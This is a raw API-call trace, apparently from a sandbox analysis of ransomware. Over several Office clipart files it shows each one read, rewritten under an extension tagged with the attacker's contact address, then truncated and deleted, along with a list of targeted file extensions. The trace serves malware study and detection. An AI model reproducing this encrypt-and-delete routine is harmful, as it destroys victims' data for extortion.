	[0274.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0274.252] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.252] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.253] GetLastError () returned 0x0
	[0274.253] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x69cc, lpOverlapped=0x0) returned 1
	[0274.254] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x69d0, lpOverlapped=0x0) returned 1
	[0274.255] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.256] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.256] SetEndOfFile (hFile=0x274) returned 1
	[0274.256] CloseHandle (hObject=0x274) returned 1
	[0274.256] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.256] SetEndOfFile (hFile=0x390) returned 1
	[0274.258] CloseHandle (hObject=0x390) returned 1
	[0274.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 1
	[0274.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63
	[0274.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63
	[0274.259] lstrlenW (lpString=".doc") returned 4
	[0274.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.259] lstrlenW (lpString=".docx") returned 5
	[0274.259] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.259] lstrlenW (lpString=".pdf") returned 4
	[0274.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.259] lstrlenW (lpString=".xls") returned 4
	[0274.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.259] lstrlenW (lpString=".xlsx") returned 5
	[0274.259] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.259] lstrlenW (lpString=".ppt") returned 4
	[0274.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63
	[0274.259] lstrlenW (lpString=".zip") returned 4
	[0274.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.259] lstrlenW (lpString=".rar") returned 4
	[0274.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.259] lstrlenW (lpString=".bz2") returned 4
	[0274.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.259] lstrlenW (lpString=".7z") returned 3
	[0274.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63
	[0274.259] lstrlenW (lpString=".dbf") returned 4
	[0274.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63
	[0274.259] lstrlenW (lpString=".1cd") returned 4
	[0274.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63
	[0274.259] lstrlenW (lpString=".jpg") returned 4
	[0274.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.260] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=48380) returned 1
	[0274.260] CloseHandle (hObject=0x390) returned 1
	[0274.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20
	[0274.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0274.260] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.260] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.261] GetLastError () returned 0x0
	[0274.261] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xbcfc, lpOverlapped=0x0) returned 1
	[0274.404] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xbd00, lpOverlapped=0x0) returned 1
	[0274.406] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.406] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.406] SetEndOfFile (hFile=0x274) returned 1
	[0274.541] CloseHandle (hObject=0x274) returned 1
	[0274.548] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.548] SetEndOfFile (hFile=0x390) returned 1
	[0274.579] CloseHandle (hObject=0x390) returned 1
	[0274.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 1
	[0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63
	[0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63
	[0274.579] lstrlenW (lpString=".doc") returned 4
	[0274.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.580] lstrlenW (lpString=".docx") returned 5
	[0274.580] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.580] lstrlenW (lpString=".pdf") returned 4
	[0274.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.580] lstrlenW (lpString=".xls") returned 4
	[0274.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.580] lstrlenW (lpString=".xlsx") returned 5
	[0274.580] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.580] lstrlenW (lpString=".ppt") returned 4
	[0274.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63
	[0274.580] lstrlenW (lpString=".zip") returned 4
	[0274.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.580] lstrlenW (lpString=".rar") returned 4
	[0274.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.580] lstrlenW (lpString=".bz2") returned 4
	[0274.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.580] lstrlenW (lpString=".7z") returned 3
	[0274.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63
	[0274.580] lstrlenW (lpString=".dbf") returned 4
	[0274.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63
	[0274.580] lstrlenW (lpString=".1cd") returned 4
	[0274.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63
	[0274.580] lstrlenW (lpString=".jpg") returned 4
	[0274.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.581] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=22300) returned 1
	[0274.581] CloseHandle (hObject=0x390) returned 1
	[0274.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20
	[0274.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0274.581] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.581] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.582] GetLastError () returned 0x0
	[0274.582] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x571c, lpOverlapped=0x0) returned 1
	[0274.583] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x5720, lpOverlapped=0x0) returned 1
	[0274.585] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.585] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.585] SetEndOfFile (hFile=0x274) returned 1
	[0274.585] CloseHandle (hObject=0x274) returned 1
	[0274.585] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.585] SetEndOfFile (hFile=0x390) returned 1
	[0274.587] CloseHandle (hObject=0x390) returned 1
	[0274.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 1
	[0274.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63
	[0274.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63
	[0274.588] lstrlenW (lpString=".doc") returned 4
	[0274.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.588] lstrlenW (lpString=".docx") returned 5
	[0274.588] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0274.588] lstrlenW (lpString=".pdf") returned 4
	[0274.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.588] lstrlenW (lpString=".xls") returned 4
	[0274.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.588] lstrlenW (lpString=".xlsx") returned 5
	[0274.588] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0274.588] lstrlenW (lpString=".ppt") returned 4
	[0274.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63
	[0274.588] lstrlenW (lpString=".zip") returned 4
	[0274.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.588] lstrlenW (lpString=".rar") returned 4
	[0274.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.588] lstrlenW (lpString=".bz2") returned 4
	[0274.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.588] lstrlenW (lpString=".7z") returned 3
	[0274.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63
	[0274.588] lstrlenW (lpString=".dbf") returned 4
	[0274.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63
	[0274.588] lstrlenW (lpString=".1cd") returned 4
	[0274.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63
	[0274.588] lstrlenW (lpString=".jpg") returned 4
	[0274.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.589] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=24908) returned 1
	[0274.589] CloseHandle (hObject=0x274) returned 1
	[0274.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20
	[0274.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.590] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.590] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0274.590] GetLastError () returned 0x0
	[0274.590] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x614c, lpOverlapped=0x0) returned 1
	[0274.592] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x6150, lpOverlapped=0x0) returned 1
	[0274.593] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.594] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.594] SetEndOfFile (hFile=0x36c) returned 1
	[0274.594] CloseHandle (hObject=0x36c) returned 1
	[0274.594] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.594] SetEndOfFile (hFile=0x274) returned 1
	[0274.596] CloseHandle (hObject=0x274) returned 1
	[0274.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 1
	[0274.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63
	[0274.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63
	[0274.596] lstrlenW (lpString=".doc") returned 4
	[0274.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.597] lstrlenW (lpString=".docx") returned 5
	[0274.597] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.597] lstrlenW (lpString=".pdf") returned 4
	[0274.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.597] lstrlenW (lpString=".xls") returned 4
	[0274.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.597] lstrlenW (lpString=".xlsx") returned 5
	[0274.597] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.597] lstrlenW (lpString=".ppt") returned 4
	[0274.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63
	[0274.597] lstrlenW (lpString=".zip") returned 4
	[0274.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.597] lstrlenW (lpString=".rar") returned 4
	[0274.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.597] lstrlenW (lpString=".bz2") returned 4
	[0274.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.597] lstrlenW (lpString=".7z") returned 3
	[0274.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63
	[0274.597] lstrlenW (lpString=".dbf") returned 4
	[0274.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63
	[0274.597] lstrlenW (lpString=".1cd") returned 4
	[0274.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63
	[0274.597] lstrlenW (lpString=".jpg") returned 4
	[0274.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.598] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=16100) returned 1
	[0274.598] CloseHandle (hObject=0x274) returned 1
	[0274.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20
	[0274.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.598] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.598] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0274.599] GetLastError () returned 0x0
	[0274.599] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3ee4, lpOverlapped=0x0) returned 1
	[0274.600] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3ef0, lpOverlapped=0x0) returned 1
	[0274.601] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.601] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.601] SetEndOfFile (hFile=0x36c) returned 1
	[0274.601] CloseHandle (hObject=0x36c) returned 1
